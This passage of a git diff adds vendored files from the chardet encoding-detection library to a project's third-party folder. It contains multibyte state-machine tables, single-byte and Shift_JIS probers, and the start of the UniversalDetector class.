# 38 - 3f + 2,2,2,2,2,2,2,2, # 40 - 47 + 2,2,2,2,2,2,2,2, # 48 - 4f + 2,2,2,2,2,2,2,2, # 50 - 57 + 2,2,2,2,2,2,2,2, # 58 - 5f + 2,2,2,2,2,2,2,2, # 60 - 67 + 2,2,2,2,2,2,2,2, # 68 - 6f + 2,2,2,2,2,2,2,2, # 70 - 77 + 2,2,2,2,2,2,2,1, # 78 - 7f + 3,3,3,3,3,2,2,3, # 80 - 87 + 3,3,3,3,3,3,3,3, # 88 - 8f + 3,3,3,3,3,3,3,3, # 90 - 97 + 3,3,3,3,3,3,3,3, # 98 - 9f + #0xa0 is illegal in sjis encoding, but some pages does + #contain such byte. We need to be more error forgiven. + 2,2,2,2,2,2,2,2, # a0 - a7 + 2,2,2,2,2,2,2,2, # a8 - af + 2,2,2,2,2,2,2,2, # b0 - b7 + 2,2,2,2,2,2,2,2, # b8 - bf + 2,2,2,2,2,2,2,2, # c0 - c7 + 2,2,2,2,2,2,2,2, # c8 - cf + 2,2,2,2,2,2,2,2, # d0 - d7 + 2,2,2,2,2,2,2,2, # d8 - df + 3,3,3,3,3,3,3,3, # e0 - e7 + 3,3,3,3,3,4,4,4, # e8 - ef + 3,3,3,3,3,3,3,3, # f0 - f7 + 3,3,3,3,3,0,0,0) # f8 - ff + + +SJIS_ST = ( + MachineState.ERROR,MachineState.START,MachineState.START, 3,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START #10-17 +) + +SJIS_CHAR_LEN_TABLE = (0, 1, 1, 2, 0, 0) + +SJIS_SM_MODEL = {'class_table': SJIS_CLS, + 'class_factor': 6, + 'state_table': SJIS_ST, + 'char_len_table': SJIS_CHAR_LEN_TABLE, + 'name': 'Shift_JIS'} + +# UCS2-BE + +UCS2BE_CLS = ( + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff +) + +UCS2BE_ST = ( + 5, 7, 7,MachineState.ERROR, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,#10-17 + 6, 6, 6, 6, 6,MachineState.ITS_ME, 6, 6,#18-1f + 6, 6, 6, 6, 5, 7, 7,MachineState.ERROR,#20-27 + 5, 8, 6, 6,MachineState.ERROR, 6, 6, 6,#28-2f + 6, 6, 6, 6,MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START #30-37 +) + +UCS2BE_CHAR_LEN_TABLE = (2, 2, 2, 0, 2, 2) + +UCS2BE_SM_MODEL = {'class_table': UCS2BE_CLS, + 'class_factor': 6, + 'state_table': UCS2BE_ST, + 'char_len_table': UCS2BE_CHAR_LEN_TABLE, + 'name': 'UTF-16BE'} + +# UCS2-LE + +UCS2LE_CLS = ( + 0,0,0,0,0,0,0,0, # 00 - 07 + 0,0,1,0,0,2,0,0, # 08 - 0f + 0,0,0,0,0,0,0,0, # 10 - 17 + 0,0,0,3,0,0,0,0, # 18 - 1f + 0,0,0,0,0,0,0,0, # 20 - 27 + 0,3,3,3,3,3,0,0, # 28 - 2f + 0,0,0,0,0,0,0,0, # 30 - 37 + 0,0,0,0,0,0,0,0, # 38 - 3f + 0,0,0,0,0,0,0,0, # 40 - 47 + 0,0,0,0,0,0,0,0, # 48 - 4f + 0,0,0,0,0,0,0,0, # 50 - 57 + 0,0,0,0,0,0,0,0, # 58 - 5f + 0,0,0,0,0,0,0,0, # 60 - 67 + 0,0,0,0,0,0,0,0, # 68 - 6f + 0,0,0,0,0,0,0,0, # 70 - 77 + 0,0,0,0,0,0,0,0, # 78 - 7f + 0,0,0,0,0,0,0,0, # 80 - 87 + 0,0,0,0,0,0,0,0, # 88 - 8f + 0,0,0,0,0,0,0,0, # 90 - 97 + 0,0,0,0,0,0,0,0, # 98 - 9f + 0,0,0,0,0,0,0,0, # a0 - a7 + 0,0,0,0,0,0,0,0, # a8 - af + 0,0,0,0,0,0,0,0, # b0 - b7 + 0,0,0,0,0,0,0,0, # b8 - bf + 0,0,0,0,0,0,0,0, # c0 - c7 + 0,0,0,0,0,0,0,0, # c8 - cf + 0,0,0,0,0,0,0,0, # d0 - d7 + 0,0,0,0,0,0,0,0, # d8 - df + 0,0,0,0,0,0,0,0, # e0 - e7 + 0,0,0,0,0,0,0,0, # e8 - ef + 0,0,0,0,0,0,0,0, # f0 - f7 + 0,0,0,0,0,0,4,5 # f8 - ff +) + +UCS2LE_ST = ( + 6, 6, 7, 6, 4, 3,MachineState.ERROR,MachineState.ERROR,#00-07 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#08-0f + MachineState.ITS_ME,MachineState.ITS_ME, 5, 5, 5,MachineState.ERROR,MachineState.ITS_ME,MachineState.ERROR,#10-17 + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR, 6, 6,#18-1f + 7, 6, 8, 8, 5, 5, 5,MachineState.ERROR,#20-27 + 5, 5, 5,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5,#28-2f + 5, 5, 5,MachineState.ERROR, 5,MachineState.ERROR,MachineState.START,MachineState.START #30-37 +) + +UCS2LE_CHAR_LEN_TABLE = (2, 2, 2, 2, 2, 2) + +UCS2LE_SM_MODEL = {'class_table': UCS2LE_CLS, + 'class_factor': 6, + 'state_table': UCS2LE_ST, + 'char_len_table': UCS2LE_CHAR_LEN_TABLE, + 'name': 'UTF-16LE'} + +# UTF-8 + +UTF8_CLS = ( + 1,1,1,1,1,1,1,1, # 00 - 07 #allow 0x00 as a legal value + 1,1,1,1,1,1,0,0, # 08 - 0f + 1,1,1,1,1,1,1,1, # 10 - 17 + 1,1,1,0,1,1,1,1, # 18 - 1f + 1,1,1,1,1,1,1,1, # 20 - 27 + 1,1,1,1,1,1,1,1, # 28 - 2f + 1,1,1,1,1,1,1,1, # 30 - 37 + 1,1,1,1,1,1,1,1, # 38 - 3f + 1,1,1,1,1,1,1,1, # 40 - 47 + 1,1,1,1,1,1,1,1, # 48 - 4f + 1,1,1,1,1,1,1,1, # 50 - 57 + 1,1,1,1,1,1,1,1, # 58 - 5f + 1,1,1,1,1,1,1,1, # 60 - 67 + 1,1,1,1,1,1,1,1, # 68 - 6f + 1,1,1,1,1,1,1,1, # 70 - 77 + 1,1,1,1,1,1,1,1, # 78 - 7f + 2,2,2,2,3,3,3,3, # 80 - 87 + 4,4,4,4,4,4,4,4, # 88 - 8f + 4,4,4,4,4,4,4,4, # 90 - 97 + 4,4,4,4,4,4,4,4, # 98 - 9f + 5,5,5,5,5,5,5,5, # a0 - a7 + 5,5,5,5,5,5,5,5, # a8 - af + 5,5,5,5,5,5,5,5, # b0 - b7 + 5,5,5,5,5,5,5,5, # b8 - bf + 0,0,6,6,6,6,6,6, # c0 - c7 + 6,6,6,6,6,6,6,6, # c8 - cf + 6,6,6,6,6,6,6,6, # d0 - d7 + 6,6,6,6,6,6,6,6, # d8 - df + 7,8,8,8,8,8,8,8, # e0 - e7 + 8,8,8,8,8,9,8,8, # e8 - ef + 10,11,11,11,11,11,11,11, # f0 - f7 + 12,13,13,13,14,15,0,0 # f8 - ff +) + +UTF8_ST = ( + MachineState.ERROR,MachineState.START,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12, 10,#00-07 + 9, 11, 8, 7, 6, 5, 4, 3,#08-0f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#10-17 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#18-1f + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#20-27 + MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,MachineState.ITS_ME,#28-2f + MachineState.ERROR,MachineState.ERROR, 5, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#30-37 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#38-3f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 5, 5, 5,MachineState.ERROR,MachineState.ERROR,#40-47 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#48-4f + MachineState.ERROR,MachineState.ERROR, 7, 7, 7, 7,MachineState.ERROR,MachineState.ERROR,#50-57 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#58-5f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 7, 7,MachineState.ERROR,MachineState.ERROR,#60-67 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#68-6f + MachineState.ERROR,MachineState.ERROR, 9, 9, 9, 9,MachineState.ERROR,MachineState.ERROR,#70-77 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#78-7f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 9,MachineState.ERROR,MachineState.ERROR,#80-87 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#88-8f + MachineState.ERROR,MachineState.ERROR, 12, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,#90-97 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#98-9f + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR, 12,MachineState.ERROR,MachineState.ERROR,#a0-a7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#a8-af + MachineState.ERROR,MachineState.ERROR, 12, 12, 12,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b0-b7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,#b8-bf + MachineState.ERROR,MachineState.ERROR,MachineState.START,MachineState.START,MachineState.START,MachineState.START,MachineState.ERROR,MachineState.ERROR,#c0-c7 + MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR,MachineState.ERROR #c8-cf +) + +UTF8_CHAR_LEN_TABLE = (0, 1, 0, 0, 0, 0, 2, 3, 3, 3, 4, 4, 5, 5, 6, 6) + +UTF8_SM_MODEL = {'class_table': UTF8_CLS, + 'class_factor': 16, + 'state_table': UTF8_ST, + 'char_len_table': UTF8_CHAR_LEN_TABLE, + 'name': 'UTF-8'} diff --git a/src/thirdparty/chardet/sbcharsetprober.py b/src/thirdparty/chardet/sbcharsetprober.py new file mode 100644 index 0000000000..46ba835c66 --- /dev/null +++ b/src/thirdparty/chardet/sbcharsetprober.py @@ -0,0 +1,145 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from collections import namedtuple + +from .charsetprober import CharSetProber +from .enums import CharacterCategory, ProbingState, SequenceLikelihood + + +SingleByteCharSetModel = namedtuple('SingleByteCharSetModel', + ['charset_name', + 'language', + 'char_to_order_map', + 'language_model', + 'typical_positive_ratio', + 'keep_ascii_letters', + 'alphabet']) + + +class SingleByteCharSetProber(CharSetProber): + SAMPLE_SIZE = 64 + SB_ENOUGH_REL_THRESHOLD = 1024 # 0.25 * SAMPLE_SIZE^2 + POSITIVE_SHORTCUT_THRESHOLD = 0.95 + NEGATIVE_SHORTCUT_THRESHOLD = 0.05 + + def __init__(self, model, reversed=False, name_prober=None): + super(SingleByteCharSetProber, self).__init__() + self._model = model + # TRUE if we need to reverse every pair in the model lookup + self._reversed = reversed + # Optional auxiliary prober for name decision + self._name_prober = name_prober + self._last_order = None + self._seq_counters = None + self._total_seqs = None + self._total_char = None + self._freq_char = None + self.reset() + + def reset(self): + super(SingleByteCharSetProber, self).reset() + # char order of last character + self._last_order = 255 + self._seq_counters = [0] * SequenceLikelihood.get_num_categories() + self._total_seqs = 0 + self._total_char = 0 + # characters that fall in our sampling range + self._freq_char = 0 + + @property + def charset_name(self): + if self._name_prober: + return self._name_prober.charset_name + else: + return self._model.charset_name + + @property + def language(self): + if self._name_prober: + return self._name_prober.language + else: + return self._model.language + + def feed(self, byte_str): + # TODO: Make filter_international_words keep things in self.alphabet + if not self._model.keep_ascii_letters: + byte_str = self.filter_international_words(byte_str) + if not byte_str: + return self.state + char_to_order_map = self._model.char_to_order_map + language_model = self._model.language_model + for char in byte_str: + order = char_to_order_map.get(char, CharacterCategory.UNDEFINED) + # XXX: This was SYMBOL_CAT_ORDER before, with a value of 250, but + # CharacterCategory.SYMBOL is actually 253, so we use CONTROL + # to make it closer to the original intent. The only difference + # is whether or not we count digits and control characters for + # _total_char purposes. + if order < CharacterCategory.CONTROL: + self._total_char += 1 + # TODO: Follow uchardet's lead and discount confidence for frequent + # control characters. + # See https://github.com/BYVoid/uchardet/commit/55b4f23971db61 + if order < self.SAMPLE_SIZE: + self._freq_char += 1 + if self._last_order < self.SAMPLE_SIZE: + self._total_seqs += 1 + if not self._reversed: + lm_cat = language_model[self._last_order][order] + else: + lm_cat = language_model[order][self._last_order] + self._seq_counters[lm_cat] += 1 + self._last_order = order + + charset_name = self._model.charset_name + if self.state == ProbingState.DETECTING: + if self._total_seqs > self.SB_ENOUGH_REL_THRESHOLD: + confidence = self.get_confidence() + if confidence > self.POSITIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, we have a winner', + charset_name, confidence) + self._state = ProbingState.FOUND_IT + elif confidence < self.NEGATIVE_SHORTCUT_THRESHOLD: + self.logger.debug('%s confidence = %s, below negative ' + 'shortcut threshhold %s', charset_name, + confidence, + self.NEGATIVE_SHORTCUT_THRESHOLD) + self._state = ProbingState.NOT_ME + + return self.state + + def get_confidence(self): + r = 0.01 + if self._total_seqs > 0: + r = ((1.0 * self._seq_counters[SequenceLikelihood.POSITIVE]) / + self._total_seqs / self._model.typical_positive_ratio) + r = r * self._freq_char / self._total_char + if r >= 1.0: + r = 0.99 + return r diff --git a/src/thirdparty/chardet/sbcsgroupprober.py b/src/thirdparty/chardet/sbcsgroupprober.py new file mode 100644 index 0000000000..bdeef4e15b --- /dev/null +++ b/src/thirdparty/chardet/sbcsgroupprober.py @@ -0,0 +1,83 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .charsetgroupprober import CharSetGroupProber +from .hebrewprober import HebrewProber +from .langbulgarianmodel import (ISO_8859_5_BULGARIAN_MODEL, + WINDOWS_1251_BULGARIAN_MODEL) +from .langgreekmodel import ISO_8859_7_GREEK_MODEL, WINDOWS_1253_GREEK_MODEL +from .langhebrewmodel import WINDOWS_1255_HEBREW_MODEL +# from .langhungarianmodel import (ISO_8859_2_HUNGARIAN_MODEL, +# WINDOWS_1250_HUNGARIAN_MODEL) +from .langrussianmodel import (IBM855_RUSSIAN_MODEL, IBM866_RUSSIAN_MODEL, + ISO_8859_5_RUSSIAN_MODEL, KOI8_R_RUSSIAN_MODEL, + MACCYRILLIC_RUSSIAN_MODEL, + WINDOWS_1251_RUSSIAN_MODEL) +from .langthaimodel import TIS_620_THAI_MODEL +from .langturkishmodel import ISO_8859_9_TURKISH_MODEL +from .sbcharsetprober import SingleByteCharSetProber + + +class SBCSGroupProber(CharSetGroupProber): + def __init__(self): + super(SBCSGroupProber, self).__init__() + hebrew_prober = HebrewProber() + logical_hebrew_prober = SingleByteCharSetProber(WINDOWS_1255_HEBREW_MODEL, + False, hebrew_prober) + # TODO: See if using ISO-8859-8 Hebrew model works better here, since + # it's actually the visual one + visual_hebrew_prober = SingleByteCharSetProber(WINDOWS_1255_HEBREW_MODEL, + True, hebrew_prober) + hebrew_prober.set_model_probers(logical_hebrew_prober, + visual_hebrew_prober) + # TODO: ORDER MATTERS HERE. I changed the order vs what was in master + # and several tests failed that did not before. Some thought + # should be put into the ordering, and we should consider making + # order not matter here, because that is very counter-intuitive. + self.probers = [ + SingleByteCharSetProber(WINDOWS_1251_RUSSIAN_MODEL), + SingleByteCharSetProber(KOI8_R_RUSSIAN_MODEL), + SingleByteCharSetProber(ISO_8859_5_RUSSIAN_MODEL), + SingleByteCharSetProber(MACCYRILLIC_RUSSIAN_MODEL), + SingleByteCharSetProber(IBM866_RUSSIAN_MODEL), + SingleByteCharSetProber(IBM855_RUSSIAN_MODEL), + SingleByteCharSetProber(ISO_8859_7_GREEK_MODEL), + SingleByteCharSetProber(WINDOWS_1253_GREEK_MODEL), + SingleByteCharSetProber(ISO_8859_5_BULGARIAN_MODEL), + SingleByteCharSetProber(WINDOWS_1251_BULGARIAN_MODEL), + # TODO: Restore Hungarian encodings (iso-8859-2 and windows-1250) + # after we retrain model. + # SingleByteCharSetProber(ISO_8859_2_HUNGARIAN_MODEL), + # SingleByteCharSetProber(WINDOWS_1250_HUNGARIAN_MODEL), + SingleByteCharSetProber(TIS_620_THAI_MODEL), + SingleByteCharSetProber(ISO_8859_9_TURKISH_MODEL), + hebrew_prober, + logical_hebrew_prober, + visual_hebrew_prober, + ] + self.reset() diff --git a/src/thirdparty/chardet/sjisprober.py b/src/thirdparty/chardet/sjisprober.py new file mode 100644 index 0000000000..9e29623bdc --- /dev/null +++ b/src/thirdparty/chardet/sjisprober.py @@ -0,0 +1,92 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is mozilla.org code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 1998 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### + +from .mbcharsetprober import MultiByteCharSetProber +from .codingstatemachine import CodingStateMachine +from .chardistribution import SJISDistributionAnalysis +from .jpcntx import SJISContextAnalysis +from .mbcssm import SJIS_SM_MODEL +from .enums import ProbingState, MachineState + + +class SJISProber(MultiByteCharSetProber): + def __init__(self): + super(SJISProber, self).__init__() + self.coding_sm = CodingStateMachine(SJIS_SM_MODEL) + self.distribution_analyzer = SJISDistributionAnalysis() + self.context_analyzer = SJISContextAnalysis() + self.reset() + + def reset(self): + super(SJISProber, self).reset() + self.context_analyzer.reset() + + @property + def charset_name(self): + return self.context_analyzer.charset_name + + @property + def language(self): + return "Japanese" + + def feed(self, byte_str): + for i in range(len(byte_str)): + coding_state = self.coding_sm.next_state(byte_str[i]) + if coding_state == MachineState.ERROR: + self.logger.debug('%s %s prober hit error at byte %s', + self.charset_name, self.language, i) + self._state = ProbingState.NOT_ME + break + elif coding_state == MachineState.ITS_ME: + self._state = ProbingState.FOUND_IT + break + elif coding_state == MachineState.START: + char_len = self.coding_sm.get_current_charlen() + if i == 0: + self._last_char[1] = byte_str[0] + self.context_analyzer.feed(self._last_char[2 - char_len:], + char_len) + self.distribution_analyzer.feed(self._last_char, char_len) + else: + self.context_analyzer.feed(byte_str[i + 1 - char_len:i + 3 + - char_len], char_len) + self.distribution_analyzer.feed(byte_str[i - 1:i + 1], + char_len) + + self._last_char[0] = byte_str[-1] + + if self.state == ProbingState.DETECTING: + if (self.context_analyzer.got_enough_data() and + (self.get_confidence() > self.SHORTCUT_THRESHOLD)): + self._state = ProbingState.FOUND_IT + + return self.state + + def get_confidence(self): + context_conf = self.context_analyzer.get_confidence() + distrib_conf = self.distribution_analyzer.get_confidence() + return max(context_conf, distrib_conf) diff --git a/src/thirdparty/chardet/universaldetector.py b/src/thirdparty/chardet/universaldetector.py new file mode 100644 index 0000000000..055a8ac1b1 --- /dev/null +++ b/src/thirdparty/chardet/universaldetector.py @@ -0,0 +1,286 @@ +######################## BEGIN LICENSE BLOCK ######################## +# The Original Code is Mozilla Universal charset detector code. +# +# The Initial Developer of the Original Code is +# Netscape Communications Corporation. +# Portions created by the Initial Developer are Copyright (C) 2001 +# the Initial Developer. All Rights Reserved. +# +# Contributor(s): +# Mark Pilgrim - port to Python +# Shy Shalom - original C code +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA +# 02110-1301 USA +######################### END LICENSE BLOCK ######################### +""" +Module containing the UniversalDetector detector class, which is the primary +class a user of ``chardet`` should use. + +:author: Mark Pilgrim (initial port to Python) +:author: Shy Shalom (original C code) +:author: Dan Blanchard (major refactoring for 3.0) +:author: Ian Cordasco +""" + + +import codecs +import logging +import re + +from .charsetgroupprober import CharSetGroupProber +from .enums import InputState, LanguageFilter, ProbingState +from .escprober import EscCharSetProber +from .latin1prober import Latin1Prober +from .mbcsgroupprober import MBCSGroupProber +from .sbcsgroupprober import SBCSGroupProber + + +class UniversalDetector(object): + """ + The ``UniversalDetector`` class underlies the ``chardet.detect`` function + and coordinates all of the different charset probers. + + To get a ``dict`` containing an encoding and its confidence, you can simply + run: + + .. code:: + + u = UniversalDetector() + u.feed(some_bytes) + u.close() + detected = u.result + + """ + + MINIMUM_THRESHOLD = 0.20 + HIGH_BYTE_DETECTOR = re.compile(b'[\x80-\xFF]') + ESC_DETECTOR = re.compile(b'(\033|~{)') + WIN_BYTE_DETECTOR = re.compile(b'[\x80-\x9F]') + ISO_WIN_MAP = {'iso-8859-1': 'Windows-1252', + 'iso-8859-2': 'Windows-1250', + 'iso-8859-5': 'Windows-1251', + 'iso-8859-6': 'Windows-1256', + 'iso-8859-7': 'Windows-1253', + 'iso-8859-8': 'Windows-1255', + 'iso-8859-9': 'Windows-1254', + 'iso-8859-13': 'Windows-1257'} + + def __init__(self, lang_filter=LanguageFilter.ALL): + self._esc_charset_prober = None + self._charset_probers = [] + self.result = None + self.done = None + self._got_data = None + self._input_state = None + self._last_char = None + self.lang_filter = lang_filter + self.logger = logging.getLogger(__name__) + self._has_win_bytes = None + self.reset() + + def reset(self): + """ + Reset the UniversalDetector and all of its probers back to their + initial states. This is called by ``__init__``, so you only need to + call this directly in between analyses of different documents. + """ + self.result = {'encoding': None, 'confidence': 0.0, 'language': None} + self.done = False + self._got_data = False + self._has_win_bytes = False + self._input_state = InputState.PURE_ASCII + self._last_char = b'' + if self._esc_charset_prober: + self._esc_charset_prober.reset() + for prober in self._charset_probers: + prober.reset() + + def feed(self, byte_str): + """ + Takes a chunk of a document and feeds it through all of the relevant + charset probers. + + After calling ``feed``, you can check the value of the ``done`` + attribute to see if you need to continue feeding the + ``UniversalDetector`` more data, or if it has made a prediction + (in the ``result`` attribute). + + .. note:: + You should always call ``close`` when you're done feeding in your + document if ``done`` is not already ``True``. + """ + if self.done: + return + + if not len(byte_str): + return + + if not isinstance(byte_str, bytearray): + byte_str = bytearray(byte_str) + + # First check for known BOMs, since these are guaranteed to be correct + if not self._got_data: + # If the data starts with BOM, we know it is UTF + if byte_str.startswith(codecs.BOM_UTF8): + # EF BB BF UTF-8 with BOM + self.result = {'encoding': "UTF-8-SIG", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_UTF32_LE, + codecs.BOM_UTF32_BE)): + # FF FE 00 00 UTF-32, little-endian BOM + # 00 00 FE FF UTF-32, big-endian BOM + self.result = {'encoding': "UTF-32", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\xFE\xFF\x00\x00'): + # FE FF 00 00 UCS-4, unusual octet order BOM (3412) + self.result = {'encoding': "X-ISO-10646-UCS-4-3412", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith(b'\x00\x00\xFF\xFE'): + # 00 00 FF FE UCS-4, unusual octet order BOM (2143) + self.result = {'encoding': "X-ISO-10646-UCS-4-2143", + 'confidence': 1.0, + 'language': ''} + elif byte_str.startswith((codecs.BOM_LE, codecs.BOM_BE)): + # FF FE UTF-16, little endian BOM + # FE FF UTF-16, big endian BOM + self.result = {'encoding': "UTF-16", + 'confidence': 1.0, + 'language': ''} + + self._got_data = True + if self.result['encoding'] is not None: + self.done = True + return + + # If none of those matched and we've only see ASCII so far, check + # for high bytes and escape sequences + if self._input_state == InputState.PURE_ASCII: + if self.HIGH_BYTE_DETECTOR.search(byte_str): + self._input_state = InputState.HIGH_BYTE + elif self._input_state == 